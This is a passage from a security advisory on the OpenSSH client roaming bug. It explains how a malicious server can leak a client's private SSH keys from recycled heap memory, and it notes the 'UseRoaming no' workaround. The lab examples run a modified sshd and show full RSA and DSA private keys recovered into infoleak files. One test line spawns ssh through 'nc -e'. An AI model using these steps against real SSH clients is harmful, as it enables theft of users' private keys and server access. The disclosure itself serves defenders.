  • Guess the client's get_snd_buf_size() in order to precisely control out_buf_size. OpenSSH < 6.0 accepts out_buf sizes in the range (0,4G), and OpenSSH >= 6.0 accepts sizes in the range (0,2M]. Sizes smaller than get_snd_buf_size() are attainable because roaming_reply() does not protect "packet_get_int() + get_snd_buf_size()" against integer wraparound. The proof-of-concept in this advisory attempts to derive the client's get_snd_buf_size() from the get_recv_buf_size() sent by the client to the server, and simply chooses a random out_buf_size.

  • Advise the client's resend_bytes() that all "available" bytes (the entire out_buf_size) are "needed" by the server, even if fewer bytes were actually written by the client to the server (because the server controls the "offset" argument, and resend_bytes() does not protect "needed = write_bytes - offset" against integer wraparound).

Finally, a brief digression on a minor bug in resend_bytes(): on 64-bit systems, where "chunkend" is a 32-bit signed integer, but "out_buf" and "out_buf_size" are 64-bit variables, "out_buf + out_buf_size - chunkend" may point out-of-bounds, if chunkend is negative (if out_buf_size is in the [2G,4G) range). This negative chunkend is then converted to a 64-bit size_t greater than SSIZE_MAX when passed to atomicio(), and eventually returns EFAULT when passed to write() (at least on Linux and OpenBSD), thus avoiding an out-of-bounds read from the OpenSSH client's memory.

Private Key Disclosure

We initially believed that this information leak in the OpenSSH client's roaming code would not allow a malicious SSH server to steal the client's private keys, because:

  • the information leaked is not read from out-of-bounds memory, but from a previously free()d chunk of memory that is recycled to malloc()ate the client's roaming buffer out_buf;

  • private keys are loaded from disk into memory and freed by key_free() (old API, OpenSSH < 6.7) or sshkey_free() (new API, OpenSSH >= 6.7), and both functions properly cleanse the private keys' memory with OPENSSL_cleanse() or explicit_bzero();

  • temporary copies of in-memory private keys are freed by buffer_free() (old API) or sshbuf_free() (new API), and both functions attempt to cleanse these copies with memset() or bzero().

However, we eventually identified three reasons why, in our experiments, we were able to partially or completely retrieve the OpenSSH client's private keys through this information leak (depending on the client's version, compiler, operating system, heap layout, and private keys):

(besides these three reasons, other reasons may exist, as suggested by the CentOS and Fedora examples at the end of this section)

  1. If a private SSH key is loaded from disk into memory by fopen() (or fdopen()), fgets(), and fclose(), a partial or complete copy of this private key may remain uncleansed in memory. Indeed, these functions manage their own internal buffers, and whether these buffers are cleansed or not depends on the OpenSSH client's libc (stdio) implementation, but not on OpenSSH itself.

  2. In all vulnerable OpenSSH versions, SSH's main() function calls load_public_identity_files(), which loads the client's public keys with fopen(), fgets(), and fclose(). Unfortunately, the private keys (without the ".pub" suffix) are loaded first and then discarded, but nonetheless buffered in memory by the stdio functions.

  3. In OpenSSH versions <= 5.6, the load_identity_file() function (called by the client's public-key authentication method) loads a private key with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses fgets() and hence internal stdio buffering.

Internal stdio buffering is the most severe of the three problems discussed in this section, although GNU/Linux is not affected because the glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers. BSD-based systems, on the other hand, are severely affected because they simply malloc()ate and free() stdio buffers. For interesting comments on this issue:

https://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk

  1. In OpenSSH versions >= 5.9, the client's load_identity_file() function (called by the public-key authentication method) read()s a private key in 1024-byte chunks that are appended to a growing buffer (a realloc()ating buffer) with buffer_append() (old API) or sshbuf_put() (new API). Unfortunately, the repeated calls to realloc() may leave partial copies of the private key uncleansed in memory.

  2. In OpenSSH < 6.7 (old API), the initial size of such a growing buffer is 4096 bytes: if a private-key file is larger than 4K, a partial copy of this private key may remain uncleansed in memory (a 3K copy in a 4K buffer). Fortunately, only the file of a very large RSA key (for example, an 8192-bit RSA key) can exceed 4K.

  3. In OpenSSH >= 6.7 (new API), the initial size of a growing buffer is 256 bytes: if a private-key file is larger than 1K (the size passed to read()), a partial copy of this private key may remain uncleansed in memory (a 1K copy in a 1K buffer). For example, the file of a default-sized 2048-bit RSA key exceeds 1K.

For more information on this issue:

https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources

https://cwe.mitre.org/data/definitions/244.html

  1. An OpenSSH growing-buffer that holds a private key is eventually freed by buffer_free() (old API) or sshbuf_free() (new API), and both functions attempt to cleanse the buffer with memset() or bzero() before they call free(). Unfortunately, an optimizing compiler may remove this memset() or bzero() call, because the buffer is written to, but never again read from (an optimization known as Dead Store Elimination).

OpenSSH 6.6 is the only version that is not affected, because it calls explicit_bzero() instead of memset() or bzero().

Dead Store Elimination is the least severe of the three problems explored in this section, because older GCC versions do not remove the memset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5 and Clang/LLVM do, however, remove it. For detailed discussions of this issue:

https://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations

https://cwe.mitre.org/data/definitions/14.html

https://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506

Finally, for these three reasons, passphrase-encrypted SSH keys are leaked in their encrypted form, but an attacker may attempt to crack the passphrase offline. On the other hand, SSH keys that are available only through an authentication agent are never leaked, in any form. The vulnerable roaming code can be permanently disabled by adding the undocumented option "UseRoaming no" to the system-wide configuration file (usually /etc/ssh/ssh_config), or per-user configuration file (~/.ssh/config), or command-line (-o "UseRoaming no").

  1. If an OpenSSH client is disconnected from an SSH server that offers roaming, it prints "[connection suspended, press return to resume]" on stderr, and waits for '\n' or '\r' on stdin (and not on the controlling terminal) before it reconnects to the server; advanced users may become suspicious and press Control-C or Control-Z instead, thus avoiding the information leak:

"pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume]^Z [1]+ Stopped /usr/bin/ssh -p 222 127.0.0.1

However, SSH commands that use the local stdin to transfer data to the remote server are bound to trigger this reconnection automatically (upon reading a '\n' or '\r' from stdin). Moreover, these non-interactive SSH commands (for example, backup scripts and cron jobs) commonly employ public-key authentication and are therefore perfect targets for this information leak:

$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.ls" [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]

$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.tar" tar: Removing leading `/' from member names [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] ... [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]

Similarly, the SCP client uses the SSH client's stdin and stdout to transfer data, and can be forced by a malicious SSH server to output a control record that ends in '\n' (an error message in server-to-client mode, or file permissions in client-to-server mode); this '\n' is then read from stdin by the fgetc() call in wait_for_roaming_reconnect(), and triggers an automatic reconnection that allows the information leak to be exploited without user interaction:

env ROAMING="scp_mode sleep:1" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp $ [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]

$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting] lost connection

  1. Although a man-in-the-middle attacker can reset the TCP connection between an OpenSSH client and an OpenSSH server (which does not support roaming), it cannot exploit the information leak without breaking server host authentication or integrity protection, because it needs to:

  2. first, append the "resume@appgate.com" algorithm name to the server's initial key exchange message;

  3. second, in response to the client's "roaming@appgate.com" request, change the server's reply from failure to success.

In conclusion, an attacker who wishes to exploit this information leak must convince its target OpenSSH client to connect to a malicious server (an unlikely scenario), or compromise a trusted server (a more likely scenario, for a determined attacker).

  1. In the client, wait_for_roaming_reconnect() calls ssh_connect(), the same function that successfully established the first connection to the server; this function supports four different connection methods, but each method contains a bug and may fail to establish a second connection to the server:

  2. In OpenSSH >= 6.5 (released on January 30, 2014), the default ssh_connect_direct() method (a simple TCP connection) is called by wait_for_roaming_reconnect() with a NULL aitop argument, which makes it impossible for the client to reconnect to the server:

418 static int 419 ssh_connect_direct(const char host, struct addrinfo aitop, ... 424 int sock = -1, attempt; 425 char ntop[NI_MAXHOST], strport[NI_MAXSERV]; ... 430 for (attempt = 0; attempt < connection_attempts; attempt++) { ... 440 for (ai = aitop; ai; ai = ai->ai_next) { ... 470 } 471 if (sock != -1) 472 break; / Successful connection. / 473 } 474 475 / Return failure if we didn't get a successful connection. / 476 if (sock == -1) { 477 error("ssh: connect to host %s port %s: %s", 478 host, strport, strerror(errno)); 479 return (-1); 480 }

Incidentally, this error() call displays stack memory from the uninitialized strport[] array, a byproduct of the NULL aitop:

$ /usr/bin/ssh -V OpenSSH_6.8, LibreSSL 2.1

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor

  • The special ProxyCommand "-" communicates with the server through the client's stdin and stdout, but these file descriptors are close()d by packet_backup_state() at the beginning of wait_for_roaming_reconnect() and are never reopened again, making it impossible for the client to reconnect to the server. Moreover, the fgetc() that waits for '\n' or '\r' on the closed stdin returns EOF and forces the client to exit():

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ /usr/bin/nc -e "/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1" 127.0.0.1 222 Pseudo-terminal will not be allocated because stdin is not a terminal. user@127.0.0.1's password: [connection suspended, press return to resume][exiting]

  • The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that passes a connected file descriptor back to the client, but it calls fatal() while reconnecting to the server, because waitpid() returns ECHILD; indeed, the SIGCHLD handler (installed by SSH's main() after the first successful connection to the server) calls waitpid() before ssh_proxy_fdpass_connect() does:

1782 static void 1783 main_sigchld_handler(int sig) 1784 { .... 1789 while ((pid = waitpid(-1, &status, WNOHANG)) > 0 || 1790 (pid < 0 && errno == EINTR)) 1791 ; 1792 1793 signal(sig, main_sigchld_handler); .... 1795 }

101 static int 102 ssh_proxy_fdpass_connect(const char host, u_short port, 103 const char proxy_command) 104 { ... 121 / Fork and execute the proxy command. / 122 if ((pid = fork()) == 0) { ... 157 } 158 / Parent. / ... 167 while (waitpid(pid, NULL, 0) == -1) 168 if (errno != EINTR) 169 fatal("Couldn't wait for child: %s", strerror(errno));

$ /usr/bin/ssh -V OpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015

$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand="/usr/bin/nc -F %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]Couldn't wait for child: No child processes

  • The method ssh_proxy_connect() fork()s a standard ProxyCommand that connects the client to the server, but if a disconnection occurs, and the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is waiting for a '\n' or '\r' on stdin, EOF is returned (the underlying read() returns EINTR) and the client exit()s before it can reconnect to the server:

$ /usr/bin/ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014

$ /usr/bin/ssh -o ProxyCommand="/bin/nc %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][exiting]

This behavior is intriguing, because (at least on Linux and BSD) the signal() call that installed the main_sigchld_handler() is supposed to be equivalent to a sigaction() call with SA_RESTART. However, portable versions of OpenSSH override signal() with mysignal(), a function that calls sigaction() without SA_RESTART.

This last mitigating factor is actually a race-condition bug that depends on the ProxyCommand itself: for example, the client never fails to reconnect to the server when using Socat as a ProxyCommand, but fails occasionally when using Netcat.

Private Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key

$ head -n 1 /etc/motd FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013

$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme vOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi /rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr +7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n UxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7 qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11 1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs= -----END RSA PRIVATE KEY-----

env ROAMING="client_out_buf_size:1280" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-97ed9f59/infoleak

MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme

Private Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key

$ head -n 1 /etc/motd FreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013

$ /usr/bin/ssh -V OpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013

$ cat ~/.ssh/id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe 4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY 8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4 cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+ iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh PHatTfiy5p82Q8+TD60= -----END DSA PRIVATE KEY-----

env ROAMING="client_out_buf_size:768" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-9448bb7f/infoleak

MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe 4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY 8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4 cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+ iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To ...

env ROAMING="client_out_buf_size:1024" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-279f5e2b/infoleak

... iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh PHatTfiy5p82Q8+TD60= ...

Private Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key

$ head -n 1 /etc/motd OpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013

$ /usr/bin/ssh -V OpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012

$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL 9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175 ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G +umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95 n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt 8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5 cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb 3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0= -----END RSA PRIVATE KEY-----

env ROAMING="client_out_buf_size:2048" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-35ee7ab0/infoleak

MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL 9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175 ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G +umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95 n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt 8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5 cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb 3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-6cb31d82/infoleak

... uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1 /tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=

Private Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key

$ head -n 1 /etc/motd OpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015

$ /usr/bin/ssh -V OpenSSH_7.0, LibreSSL 2.2.2

